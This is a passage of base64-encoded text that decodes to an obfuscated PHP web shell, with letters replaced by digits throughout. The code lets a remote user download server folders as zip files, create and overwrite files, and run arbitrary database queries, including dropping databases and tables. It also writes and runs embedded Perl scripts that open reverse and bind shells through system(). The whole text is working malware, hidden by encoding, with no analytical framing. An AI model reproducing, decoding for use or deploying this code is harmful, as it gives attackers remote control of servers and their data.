NCiRjcmMgPSBjcmNvYSgkZDF0MSk7DQokemQxdDEgPSBnemMybXByNXNzKCRkMXQxKTsNCiR6ZDF0MSA9IHMzYnN0ciggczNic3RyKCR6ZDF0MSwgMCwgc3RybDVuKCR6ZDF0MSkgLSB1KSwgYSk7DQokY19sNW4gPSBzdHJsNW4oJHpkMXQxKTsNCiRmciAuPSBwMWNrKCJWIiwkY3JjKTsNCiRmciAuPSBwMWNrKCJWIiwkY19sNW4pOw0KJGZyIC49IHAxY2soIlYiLCQzbmNfbDVuKTsNCiRmciAuPSBwMWNrKCJ2Iiwgc3RybDVuKCRuMW01KSApOw0KJGZyIC49IHAxY2soInYiLCAwICk7DQokZnIgLj0gJG4xbTU7DQokZnIgLj0gJHpkMXQxOw0KJGZyIC49IHAxY2soIlYiLCRjcmMpOw0KJGZyIC49IHAxY2soIlYiLCRjX2w1bik7IA0KJGZyIC49IHAxY2soIlYiLCQzbmNfbDVuKTsgDQokdGg0cyAtPiBkMXQxczVjW10gPSAkZnI7DQokbjV3XzJmZnM1dCA9IHN0cmw1big0bXBsMmQ1KCIiLCAkdGg0cy0+ZDF0MXM1YykpOw0KJGNkcjVjID0gIlx4aTBceHViXHgwNlx4MGEiOw0KJGNkcjVjIC49Ilx4MDBceDAwIjsNCiRjZHI1YyAuPSJceDZ1XHgwMCI7IA0KJGNkcjVjIC49Ilx4MDBceDAwIjsNCiRjZHI1YyAuPSJceDA4XHgwMCI7DQokY2RyNWMgLj0iXHgwMFx4MDBceDAwXHgwMCI7IA0KJGNkcjVjIC49IHAxY2soIlYiLCRjcmMpOyANCiRjZHI1YyAuPSBwMWNrKCJWIiwkY19sNW4pOyANCiRjZHI1YyAuPSBwMWNrKCJWIiwkM25jX2w1bik7IA0KJGNkcjVjIC49IHAxY2soInYiLCBzdHJsNW4oJG4xbTUpICk7DQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygidiIsIDAgKTsgDQokY2RyNWMgLj0gcDFjaygiViIsIG9hICk7IA0KJGNkcjVjIC49IHAxY2soIlYiLCAkdGg0cyAtPiAybGRfMmZmczV0ICk7DQokdGg0cyAtPiAybGRfMmZmczV0ID0gJG41d18yZmZzNXQ7DQokY2RyNWMgLj0gJG4xbTU7DQokdGg0cyAtPiBjdHJsX2Q0cltdID0gJGNkcjVjOw0KfQ0KZjNuY3Q0Mm4gZjRsNSgpIHsgDQokZDF0MSA9IDRtcGwyZDUoIiIsICR0aDRzIC0+IGQxdDFzNWMpOw0KJGN0cmxkNHIgPSA0bXBsMmQ1KCIiLCAkdGg0cyAtPiBjdHJsX2Q0cik7DQpyNXQzcm4NCiRkMXQxLg0KJGN0cmxkNHIuDQokdGg0cyAtPiA1MmZfY3RybF9kNHIuDQpwMWNrKCJ2IiwgczR6NTJmKCR0aDRzIC0+IGN0cmxfZDRyKSkuDQpwMWNrKCJ2IiwgczR6NTJmKCR0aDRzIC0+IGN0cmxfZDRyKSkuIA0KcDFjaygiViIsIHN0cmw1bigkY3RybGQ0cikpLiANCnAxY2soIlYiLCBzdHJsNW4oJGQxdDEpKS4gDQoiXHgwMFx4MDAiOw0KfQ0KfQ0KJGRsZjJsZDVyPSRfR0VUWycxZGRyNXNzJ10uJHNsMXNoLiRfR0VUWydkNHJuMW01J10uJHNsMXNoOw0KJHo0cGY0bDUgPSBuNXcgejRwZjRsNSgpOw0KZjNuY3Q0Mm4gZzV0X2Y0bDVzX2ZyMm1fZjJsZDVyKCRkNHI1Y3QycnksICRwM3RfNG50Mikgew0KZ2wyYjFsICR6NHBmNGw1Ow0KNGYgKCRoMW5kbDUgPSAycDVuZDRyKCRkNHI1Y3QycnkpKSB7DQp3aDRsNSAoZjFsczUgIT09ICgkZjRsNSA9IHI1MWRkNHIoJGgxbmRsNSkpKSB7DQo0ZiAoNHNfZjRsNSgkZDRyNWN0MnJ5LiRmNGw1KSkgew0KJGY0bDVDMm50NW50cyA9IGY0bDVfZzV0X2MybnQ1bnRzKCRkNHI1Y3QycnkuJGY0bDUpOw0KJHo0cGY0bDUtPjFkZF9mNGw1KCRmNGw1QzJudDVudHMsICRwM3RfNG50Mi4kZjRsNSk7DQp9IDVsczU0ZiAoJGY0bDUgIT0gJy4nIDFuZCAkZjRsNSAhPSAnLi4nIDFuZCA0c19kNHIoJGQ0cjVjdDJyeS4kZjRsNSkpIHsNCiR6NHBmNGw1LT4xZGRfZDRyKCRwM3RfNG50Mi4kZjRsNS4nLycpOw0KZzV0X2Y0bDVzX2ZyMm1fZjJsZDVyKCRkNHI1Y3QycnkuJGY0bDUuJy8nLCAkcDN0XzRudDIuJGY0bDUuJy8nKTsNCn0NCn0NCn0NCmNsMnM1ZDRyKCRoMW5kbDUpOw0KfQ0KJGQxdDVkbD1kMXQ1KCJ5LW0tZCIpOw0KZzV0X2Y0bDVzX2ZyMm1fZjJsZDVyKCRkbGYybGQ1ciwnJyk7DQpoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIgLiAkX0dFVFsnZDRybjFtNSddLiItIi4kZDF0NWRsLiIuejRwIik7ICAgDQpoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vZDJ3bmwyMWQiKTsNCmg1MWQ1cigiQzJudDVudC1MNW5ndGg6ICIgLiBzdHJsNW4oJHo0cGY0bDUgLT4gZjRsNSgpKSk7DQpmbDNzaCgpOw0KNWNoMiAkejRwZjRsNSAtPiBmNGw1KCk7IA0KJGY0bDVuMW01ID0gJF9HRVRbJ2Q0cm4xbTUnXS4iLSIuJGQxdDVkbC4iLno0cCI7DQokZmQgPSBmMnA1biAoJGY0bDVuMW01LCAid2IiKTsNCiQyM3QgPSBmd3I0dDUgKCRmZCwgJHo0cGY0bDUgLT4gZjRsNSgpKTsNCmZjbDJzNSAoJGZkKTsNCn0NCjRmICgkX1JFUVVFU1RbJ2NkNHJuMW01J10pew0KNGYobWtkNHIoJF9SRVFVRVNUWydjZDRybjFtNSddLCIwNzc3IikpezFsNXJ0KCJENHI1Y3QycnkgQ3I1MXQ1ZCAhIik7fTVsczV7MWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9fQ0KZjNuY3Q0Mm4gYmNuKCQ0cGJjLCRwYmMpew0KJGJjcDVybD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNDNE1nUWE5M2JtVmpkRUpoWWF0VDFHVnNiQ0JwYjRCUVpYSnNMNEJUMUdGa2JvY3hNakFnTFNCbw0KTkdOck1XaW5MbU52YlEyS2RYTmxJRk52WWF0bGREc0tDNFIyYm9OMElEMGdKRUZTUjZaYk1GMDdDNFJ3Ym9KMElEMGdKRUZTUjZaYg0KTVYwN0NnMmdJQ0FnMVdZZ0tDRWtRVkpIVmxzd1hTa2c1dzJnSUhCeTFXaTBaNEE0V3lGZElGVnpZV2RsTzRCd1pYSnNJSE5qY21sdw0KZENpd2JDQThTRzl6ZER1Z1BGQnZjblErWEd1NE93MmdJR1Z1MVhRMk1TazdDbjBLY0hKcGJuUWdJbHNyWFNCRGJhaTNaV04wMVdpbg0KSUhSdklDUjJib04wWEd1NE93MmtjSEp2ZENBOUlHZGxkSEJ5Ym9SdllubDNZVzZsS0NkMFlvQW5LVHNnSXlCWmJvVWdZYUYzSUdOMg0KWVdpblpTQjAxR2x6SUdsbUlHaWxaV1J6SUdKbENuTnZZYXRsZENoVFJWSldSVklzSUZCR1gwbE9SVlFzSUZOUFEwdGZVNlJTUlVGTg0KTENBa2NISnZkQ2tnZkh3Z1pHbGxJQ2c0V3k2ZElGVjNZV0pzWlNCMGJ5QkRiYWkzWldOMElDRTRLVHNLMVdZZ0tDRmpiYWkzWldOMA0KS0ZORlVsWkZVNHdnY0dGajF5QTRVYWlCTkhndUk0d2dNNHdnSkhCdmNuUXNJR2wzWlhSZllYUnZiNGdrMUc5emRDa3BLU0I3WkdsbA0KS0NKYkxWMGdWV2loWW14bElIUnZJRU52Ym1pbFlvUWdJU0lwT28wS0lDQnZjR1YzS0ZOVVJFbE9MQ0krSmxORlVsWkZVNElwT3cyZw0KSUc5d1pXdTJVNlJFVDZWVUxDSStKbE5GVWxaRlU0SXBPdzJnSUc5d1pXdTJVNlJFUlZKU0xDSStKbE5GVWxaRlU0SXBPdzJnSUdWdQ0KWldNZzV5Y3ZZbWwzTG9OMkpvMGdKeTY0WVhOMkp5QTNJQ0pjTUNJZzVDQTBPdz09IjsNCiQycGJjPWYycDVuKCJiY2MucGwiLCJ3Iik7DQpmd3I0dDUoJDJwYmMsYjFzNWV1X2Q1YzJkNSgkYmNwNXJsKSk7DQpmY2wyczUoJDJwYmMpOw0Kc3lzdDVtKCJwNXJsIGJjYy5wbCAkNHBiYyAkcGJjIikgMnIgZDQ1KCJJIEMxbiBOMnQgRXg1YzN0NSBDMm1tMW5kIEYyciBCMWNrIEMybm41Y3QgRDRzMWJsNV9mM25jdDQybnMgT3IgUzFmNSBNMmQ1Iik7DQp9DQpmM25jdDQybiB3YnAoJHdiKXsNCiR3YnA9ImRYTmxJRk52WWF0bGREc0tKSEJ2Y25RSlBTQWtRVkpIVmxzd1hUc0tKSEJ5Ym9SdkNUMGdaYVYwY0hKdmRHOTQ1V2loYldVMkpvUmoNCmNDY3BPd3B6YmFOclpYUTJVMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLVHNLY2FWMGNhOWoNCjFhOXdkQ2hUUlZKV1JWSXNJRk5QVEY5VFQwTkxSVlFzSUZOUFg2SkZWVk5GUVVSRVU0d2djR0ZqMXlnNGJDSXNJREVwS1RzS1ltbDMNClpDaFRSVkpXUlZJc0lITnZZYXRoWkdSeVhhbDNLQ1J3Ym9KMExDQkpUa0ZFUkZKZlFVaVpLU2s3Q214cGNvUmxiNGhUUlZKV1JWSXMNCklGTlBUVUZZUTA5T1Q0azdDbVp2YzRnN0lDUndZV1JrYzRBOUlHRmpZYVZ3ZENoRFRFbEZUbFFzSUZORlVsWkZVNGs3SUdOc2JvTmwNCklFTk1TVVZPVkNrSzV3cHZjR1YzS0ZOVVJFbE9MQ0E0UDRaRFRFbEZUbFE0S1RzS2JvQmxiNGhUVkVSUFZWUXNJQ0krSmtOTVNVVk8NClZDSXBPd3B2Y0dWM0tGTlVSRVZTVTR3Z0lqdW1RMHhKUlVpVUk0azdDbk5pY29SbGJTZ25ZYTZrTG1WdVpTY3BPd3BqYkc5elpTaFQNClZFUkpUNGs3Q21Oc2JvTmxLRk5VUkU5VlZDazdDbU5zYm9ObEtGTlVSRVZTVTRrN0NuMGciOw0KJDJwd2I9ZjJwNW4oIndicC5wbCIsInciKTsNCmZ3cjR0NSgkMnB3YixiMXM1ZXVfZDVjMmQ1KCR3YnApKTsNCmZjbDJzNSgkMnB3Yik7DQo1Y2gyIGc1dGN3ZCgpOw0Kc3lzdDVtKCJwNXJsIHdicC5wbCAkd2IiKSAyciBkNDUoIkkgQzFuIE4ydCBFeDVjM3Q1IEMybW0xbmQgRjJyIEIxY2sgQzJubjVjdCBENHMxYmw1X2YzbmN0NDJucyBPciBTMWY1IE0yZDUiKTsNCn0NCmYzbmN0NDJuIGxicCgkd2Ipew0KJGxicD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNDblZ6WlNCVGJhTnJaWFE3SkhCdmNuUTlKRUZTUjZaYk1GMDdKSEJ5Ym9SdlBXZGxkSEJ5Ym9Sdg0KWW5sM1lXNmxLQ2QwWW9BbktUc2tZYTZrUFNKc2NHUTRPeVF3UFNSamJXUTdjYTlqMWFWMEtGTkZVbFpGVTR3Z1VFWmZTVWlGVkN3Zw0KVTA5RFM2OVRWRkpGUVUwc0lDUndjbTkwYnlrN2NhVjBjYTlqMWE5d2RDaFRSVkpXUlZJc0lGTlBURjlUVDBOTFJWUXNJRk5QWDZKRg0KVlZORlFVUkVVNHdnY0dGajF5ZzRiQ0lzSURFcEtUdDQxV2lrS0ZORlVsWkZVNHdnY2E5ajFhRmtaSEpmMVd1MkpIQnZjblFzSUVsTw0KUVVSRVVsOUJUbGtwS1R0czFYTjBaV3UyVTBWU1ZrVlNMQ0JUVDA2QldFTlBUa3VwT2FadmM0ZzdJQ1J3WVdSa2M0QTlJR0ZqWWFWdw0KZENoRFRFbEZUbFFzSUZORlVsWkZVNGs3SUdOc2JvTmxJRU5NU1VWT1ZDbDdib0JsYjRoVFZFUkpUNHdnSWp1bVEweEpSVWlVSTRrNw0KYm9CbGI0aFRWRVJQVlZRc0lDSStKa05NU1VWT1ZDSXBPYTl3Wld1MlU2UkVSVkpTTENBNFA0WkRURWxGVGxRNEtUdHo1WE4wWlcwMg0KSnk5NDFXdXZjYWduS1R0amJHOXpaU2hUVkVSSlQ0azdZYXh2Y2FVMlU2UkVUNlZVS1R0amJHOXpaU2hUVkVSRlVsSXBPbzBnIjsNCiQycGxiPWYycDVuKCJsYnAucGwiLCJ3Iik7DQpmd3I0dDUoJDJwbGIsYjFzNWV1X2Q1YzJkNSgkbGJwKSk7DQpmY2wyczUoJDJwbGIpOw0Kc3lzdDVtKCJwNXJsIGxicC5wbCAkd2IiKSAyciBkNDUoIkkgQzFuIE4ydCBFeDVjM3Q1IEMybW0xbmQgRjJyIEIxY2sgQzJubjVjdCBENHMxYmw1X2YzbmN0NDJucyBPciBTMWY1IE0yZDUiKTsNCn0NCg0KNGYoJF9SRVFVRVNUWydwMnJ0YncnXSl7DQp3YnAoJF9SRVFVRVNUWydwMnJ0YncnXSk7DQoNCn00ZigkX1JFUVVFU1RbJ3AycnRibCddKXsNCmxicCgkX1JFUVVFU1RbJ3AycnRibCddKTsNCn0NCjRmKCRfUkVRVUVTVFsnNHBjYiddICYmICRfUkVRVUVTVFsncDJydGJjJ10pew0KYmNuKCRfUkVRVUVTVFsnNHBjYiddLCRfUkVRVUVTVFsncDJydGJjJ10pOw0KDQp9DQoNCjRmKCRfUkVRVUVTVFsnZDInXT09ImJjIil7DQo1Y2gyICRoNTFkLiRmMnJtcC4iPHAgMWw0Z249J2M1bnQ1cic+VXMxZzUgOiBSM24gTjV0YzF0IEluIFkyM3IgTTFjaDRuIEFuZCBFeDVjM3Q1IFRoNHMgQzJtbTFuZCggRDRzMWJsNSBGNHI1dzFsbCAhISEgKTxicj48aHI+PHAgMWw0Z249J2M1bnQ1cic+PDw8PDw8IEIxY2sgQzJubjVjdCA+Pj4+Pj48YnI+SXAgQWRkcjVzcyA6IDw0bnAzdCBuMW01PTRwY2IgdjFsMzU9Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIj4gUDJydCA6IDw0bnAzdCBuMW01PXAycnRiYyB2MWwzNT1paWlpPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9QzJubjVjdD48L2Yycm0+Ii4kZjJybXAuIjxwIDFsNGduPSdjNW50NXInPlVzMWc1IDogUjNuIE41dGMxdCBJbiBZMjNyIE0xY2g0biBBbmQgRXg1YzN0NSBUaDRzIEMybW0xbmQoIEQ0czFibDUgRjRyNXcxbGwgISEhICk8YnI+PGhyPjxwIDFsNGduPSdjNW50NXInPjw8PDw8PCBXNG5kMndzIEI0bmQgUDJydCA+Pj4+Pj48YnI+UDJydCA6IDw0bnAzdCBuMW01PXAycnRidyB2MWwzNT1paWlpPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9QzJubjVjdD48L2Yycm0+Ii4kZjJybXAuIjxwIDFsNGduPSdjNW50NXInPlVzMWc1IDogUjNuIE41dGMxdCBJbiBZMjNyIE0xY2g0biBBbmQgRXg1YzN0NSBUaDRzIEMybW0xbmQoIEQ0czFibDUgRjRyNXcxbGwgISEhICk8YnI+PGhyPjxwIDFsNGduPSdjNW50NXInPjw8PDw8PCBMNG4zeCBCNG5kIFAycnQgPj4+Pj4+PGJyPlAycnQgOiA8NG5wM3QgbjFtNT1wMnJ0YmwgdjFsMzU9aWlpaT48YnI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUMybm41Y3Q+PC9mMnJtPiIuJDVuZDs1eDR0Ow0KDQp9DQpmM25jdDQybiBjMnB5ZigkZjRsNTYsJGY0bDVhLCRmNGw1bjFtNSl7DQpnbDJiMWwgJHNsMXNoOw0KJGZwYyA9IGYycDVuKCRmNGw1NiwgInJiIik7DQokczIzcmM1ID0gJyc7DQp3aDRsNSAoIWY1MmYoJGZwYykpIHsNCiRzMjNyYzUgLj0gZnI1MWQoJGZwYywgODY5YSk7DQp9DQpmY2wyczUoJGZwYyk7DQokMnB0ID0gZjJwNW4oJGY0bDVhLiRzbDFzaC4kZjRsNW4xbTUsICJ3Iik7DQpmd3I0dDUoJDJwdCwgJHMyM3JjNSk7DQpmY2wyczUoJDJwdCk7DQp9DQo0ZiAoJF9SRVFVRVNUWydjMnB5bjFtNSddICYmICRfUkVRVUVTVFsnY3B5dDInXSl7DQo0Zig0c193cjR0MWJsNSgkX1JFUVVFU1RbJ2NweXQyJ10pKXsNCjVjaDIgJF9SRVFVRVNUWycxZGRyNXNzJ107DQpjMnB5ZigkX1JFUVVFU1RbJzFkZHI1c3MnXS4kc2wxc2guJF9SRVFVRVNUWydjMnB5bjFtNSddLCRfUkVRVUVTVFsnY3B5dDInXSwkX1JFUVVFU1RbJ2MycHluMW01J10pOw0KfTVsczV7MWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9fQ0KNGYoJF9SRVFVRVNUWydjZjRsNW4xbTUnXSl7DQoNCjVjaDIgJGg1MWQuJGYycm1wLiRuMncxZGRyNXNzLic8cCAxbDRnbj0iYzVudDVyIj48Yj5DcjUxdDUgRjRsNTwvYj48YnI+PHQ1eHQxcjUxIHIyd3M9IjY5IiBuMW01PSJuZnVjcyIgYzJscz0iODciPjwvdDV4dDFyNTE+PGJyPjw0bnAzdCB2MWwzNT0iJy4kX1JFUVVFU1RbJ2NmNGw1bjFtNSddLiciIG4xbTU9bmZ1YyBzNHo1PWkwPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IiAgQ3I1MXQ1ICAiPjwvZjJybT4nLiQ1bmQ7NXg0dDsNCn0NCg0KNGYoJF9SRVFVRVNUWyduZnVjJ10gJiYgJF9SRVFVRVNUWyduZnVjcyddKXsNCjRmKCQyZjRsNXVjPWYycDVuKCRfUkVRVUVTVFsnbmZ1YyddLCJ3Iikpew0KZndyNHQ1KCQyZjRsNXVjLCRfUkVRVUVTVFsnbmZ1Y3MnXSk7DQpmY2wyczUoJDJmNGw1dWMpOw0KMWw1cnQoIkY0bDUgUzF2NWQgISIpO301bHM1ezFsNXJ0KCJQNXJtNHNzNDJuIEQ1bjQ1ZCAhIik7fX0NCg0KZjNuY3Q0Mm4gc3FsY2w0NW5UKCl7DQpnbDJiMWwgJHQsJDVycjJyYjJ4LCQ1dCwkaGN3ZDsNCjRmKCE1bXB0eSgkX1JFUVVFU1RbJ3M1cnY1UiddKSAmJiAhNW1wdHkoJF9SRVFVRVNUWyczczVSJ10pICYmIDRzczV0KCRfUkVRVUVTVFsncDFzUyddKSAmJiAhNW1wdHkoJF9SRVFVRVNUWydxMzVyWSddKSl7DQokczVydjVyPSRfUkVRVUVTVFsnczVydjVSJ107JHR5cDU9JF9SRVFVRVNUWyd0eXBFJ107JHAxc3M9JF9SRVFVRVNUWydwMXNTJ107JDNzNXI9JF9SRVFVRVNUWyczczVSJ107JHEzNXJ5PSRfUkVRVUVTVFsncTM1clknXTsNCiRkYj0oNW1wdHkoJF9SRVFVRVNUWydkQiddKSk/Jyc6JF9SRVFVRVNUWydkQiddOw0KJF9TRVNTSU9OW3M1cnY1cl09JF9SRVFVRVNUWydzNXJ2NVInXTskX1NFU1NJT05bdHlwNV09JF9SRVFVRVNUWyd0eXBFJ107JF9TRVNTSU9OW3Axc3NdPSRfUkVRVUVTVFsncDFzUyddOyRfU0VTU0lPTlszczVyXT0kX1JFUVVFU1RbJzNzNVInXTsNCg0KfQ0KDQo0ZiAoNHNzNXQgKCRfR0VUW3M1bDVjdF9kYl0pKXsNCgkkZzV0ZGI9JF9HRVRbczVsNWN0X2RiXTsNCgkkX1NFU1NJT05bZGJdPSRnNXRkYjsNCgkkcTM1cnk9IlNIT1cgVEFCTEVTIjsNCgkkcjVzPXEzNXJZKCRfU0VTU0lPTlt0eXA1XSwkX1NFU1NJT05bczVydjVyXSwkX1NFU1NJT05bM3M1cl0sJF9TRVNTSU9OW3Axc3NdLCRfU0VTU0lPTltkYl0sJHEzNXJ5KTsNCn0NCjVsczU0ZiAoNHNzNXQgKCRfR0VUW3M1bDVjdF90YmxdKSl7DQoJJHRibD0kX0dFVFtzNWw1Y3RfdGJsXTsNCgkkX1NFU1NJT05bdGJsXT0kdGJsOw0KCSRxMzVyeT0iU0VMRUNUICogRlJPTSBgJHRibGAiOw0KCSRyNXM9cTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwkcTM1cnkpOw0KfQ0KNWxzNTRmICg0c3M1dCAoJF9HRVRbZHIycF9kYl0pKXsNCgkkZzV0ZGI9JF9HRVRbZHIycF9kYl07DQoJJF9TRVNTSU9OW2RiXT0kZzV0ZGI7DQoJJHEzNXJ5PSJEUk9QIERBVEFCQVNFIGAkZzV0ZGJgIjsNCglxMzVyWSgkX1NFU1NJT05bdHlwNV0sJF9TRVNTSU9OW3M1cnY1cl0sJF9TRVNTSU9OWzNzNXJdLCRfU0VTU0lPTltwMXNzXSwnJywkcTM1cnkpOw0KCSRyNXM9cTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJycsJ1NIT1cgREFUQUJBU0VTJyk7DQp9DQo1bHM1NGYgKDRzczV0ICgkX0dFVFtkcjJwX3RibF0pKXsNCgkkZzV0Ymw9JF9HRVRbZHIycF90YmxdOw0KCSRxMzVyeT0iRFJPUCBUQUJMRSBgJGc1dGJsYCI7DQoJcTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwkcTM1cnkpOw0KCSRyNXM9cTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwnU0hPVyBUQUJMRVMnKTsNCn0NCjVsczU0ZiAoNHNzNXQgKCRfR0VUW2RyMnBfcjJ3XSkpew0KCSRnNXRyMnc9JF9HRVRbZHIycF9yMnddOw0KCSRnNXRjbG09JF9HRVRbY2xtXTsNCgkkcTM1cnk9IkRFTEVURSBGUk9NIGAkX1NFU1NJT05bdGJsXWAgV0hFUkUgJGc1dGNsbT0nJGc1dHIydyciOw0KCSR0Ymw9JF9TRVNTSU9OW3RibF07DQoJcTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwkcTM1cnkpOw0KCSRyNXM9cTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwiU0VMRUNUICogRlJPTSBgJHRibGAiKTsNCn0NCjVsczUNCgkkcjVzPXEzNXJZKCR0eXA1LCRzNXJ2NXIsJDNzNXIsJHAxc3MsJGRiLCRxMzVyeSk7DQoNCjRmKCRyNXMpew0KJHI1cz1odG1sc3A1YzQxbGNoMXJzKCRyNXMpOw0KJHIydz0xcnIxeSAoKTsNCiR0NHRsNT01eHBsMmQ1KCdbK11bK11bK10nLCRyNXMpOw0KJHRyMnc9NXhwbDJkNSgnWy1dWy1dWy1dJywkdDR0bDVbNl0pOw0KJHIydz01eHBsMmQ1KCd8K3wrfCt8K3wrfCcsJHQ0dGw1WzBdKTsNCiRkMXQxPTFycjF5KCk7DQokZjQ1bGQ9JHRyMndbYzIzbnQoJHRyMncpLWFdOw0KNGYgKHN0cnN0cigkdHIyd1swXSwnRDF0MWIxczUnKSE9JycpDQoJJDJiaj0nZGInOw0KNWxzNTRmIChzM2JzdHIoJHRyMndbMF0sMCxlKT09J1QxYmw1cycpDQoJJDJiaj0ndGJsJzsNCjVsczUNCgkkMmJqPSdyMncnOw0KJDQ9MDsNCmYycjUxY2ggKCRyMncgMXMgJDEpew0KNGYoJDEhPScnKQ0KJGQxdDFbJDQrK109NXhwbDJkNSgnfC18LXwtfC18LXwnLCQxKTsNCn0NCg0KNWNoMiAiPHQxYmw1IGIycmQ1cj02IGIycmQ1cmMybDJyPScjQ2VDZUNlJyBjNWxscDFkZDRuZz0nYScgYmdjMmwycj0nRUFFQUVBJyB3NGR0aD0nNjAwJScgc3R5bDU9J2IycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUnPjx0cj4iOw0KZjJyNTFjaCAoJHRyMncgMXMgJHQ0KQ0KNWNoMiAiPHRkIGJnYzJsMnI9J0ZhRmFGYSc+JHQ0PC90ZD4iOw0KNWNoMiAiPC90cj4iOw0KJGo9MDsNCndoNGw1ICgkZDF0MVskal0pew0KCTVjaDIgIjx0cj4iOw0KCWYycjUxY2ggKCRkMXQxWyRqKytdIDFzICRkcil7DQoJCTVjaDIgIjx0ZD4iOw0KCQk0ZigkMmJqIT0ncjJ3JykgNWNoMiAiPDEgaHI1Zj0nJF9TRVJWRVJbUEhQX1NFTEZdP2QyPWRiJnM1bDVjdF8kMmJqPSRkcic+IjsNCgkJNWNoMiAkZHI7DQoJCTRmKCQyYmohPSdyMncnKSA1Y2gyICI8LzE+IjsNCgkJNWNoMiAiPC90ZD4iOw0KCX0NCgk1Y2gyICI8dGQ+PDEgaHI1Zj0nJF9TRVJWRVJbUEhQX1NFTEZdP2QyPWRiJmRyMnBfJDJiaj0kZHIiOw0KCTRmKCQyYmo9PSdyMncnKQ0KCQk1Y2gyICImY2xtPSRmNDVsZCI7DQoJNWNoMiAiJz5EcjJwPC8xPjwvdGQ+PC90cj4iOw0KfQ0KNWNoMiAiPC90MWJsNT48YnI+IjsNCg0KfQ0KDQoNCg0KCQ0KDQo0Zig1bXB0eSgkX1JFUVVFU1RbJ3R5cEUnXSkpJF9SRVFVRVNUWyd0eXBFJ109Jyc7DQo1Y2gyICI8YzVudDVyPjxmMnJtIG4xbTU9Y2w0NW50IG01dGgyZD0nUE9TVCcgMWN0NDJuPSckX1NFUlZFUltQSFBfU0VMRl0/ZDI9ZGInPjx0MWJsNSBiMnJkNXI9JzYnIHc0ZHRoPSd1MDAnIHN0eWw1PSdiMnJkNXItYzJsbDFwczU6IGMybGwxcHM1JyA0ZD0ndDFibDU2JyBiMnJkNXJjMmwycj0nI0NlQ2VDZScgYzVsbHAxZGQ0bmc9J2EnPjx0cj48dGQgdzRkdGg9J3UwMCcgYzJsc3Axbj0nYScgYmdjMmwycj0nI0ZhRmFGYSc+PHAgMWw0Z249J2M1bnQ1cic+PGI+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnIGMybDJyPScjdW9vOW91Jz5DMm5uNWN0IHQyIEQxdDFiMXM1PC9mMm50PjwvYj48L3RkPjwvdHI+PHRyPjx0ZCB3NGR0aD0nNmkwJyBiZ2MybDJyPScjRUFFQUVBJz48ZjJudCBmMWM1PSdBcjQxbCcgczR6NT0nYSc+REIgVHlwNTo8L2YybnQ+PC90ZD48dGQgdzRkdGg9J2FpMCcgYmdjMmwycj0nI0VBRUFFQSc+PHM1bDVjdCBuMW01PXR5cEU+PDJwdDQybiB2MWwzdD1NeVNRTCAgMm5DbDRjaz0nZDJjM201bnQuY2w0NW50LnM1cnY1Ui5kNHMxYmw1ZCA9IGYxbHM1OycgIjsNCjRmICgkX1JFUVVFU1RbJ3R5cEUnXT09J015U1FMJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTUUw8LzJwdDQybj48MnB0NDJuIHYxbDN0PU1TU1FMIDJuQ2w0Y2s9J2QyYzNtNW50LmNsNDVudC5zNXJ2NVIuZDRzMWJsNWQgPSBmMWxzNTsnICI7DQo0ZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdNU1NRTCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk1TU1FMPC8ycHQ0Mm4+PDJwdDQybiB2MWwzdD1PcjFjbDUgMm5DbDRjaz0nZDJjM201bnQuY2w0NW50LnM1cnY1Ui5kNHMxYmw1ZCA9IHRyMzU7JyAiOw0KNGYgKCRfUkVRVUVTVFsndHlwRSddPT0nT3IxY2w1Jyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+T3IxY2w1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzdD1QMnN0Z3I1U1FMIDJuQ2w0Y2s9J2QyYzNtNW50LmNsNDVudC5zNXJ2NVIuZDRzMWJsNWQgPSBmMWxzNTsnICI7DQo0ZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdQMnN0Z3I1U1FMJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNRTDwvMnB0NDJuPjwycHQ0Mm4gdjFsM3Q9REJhID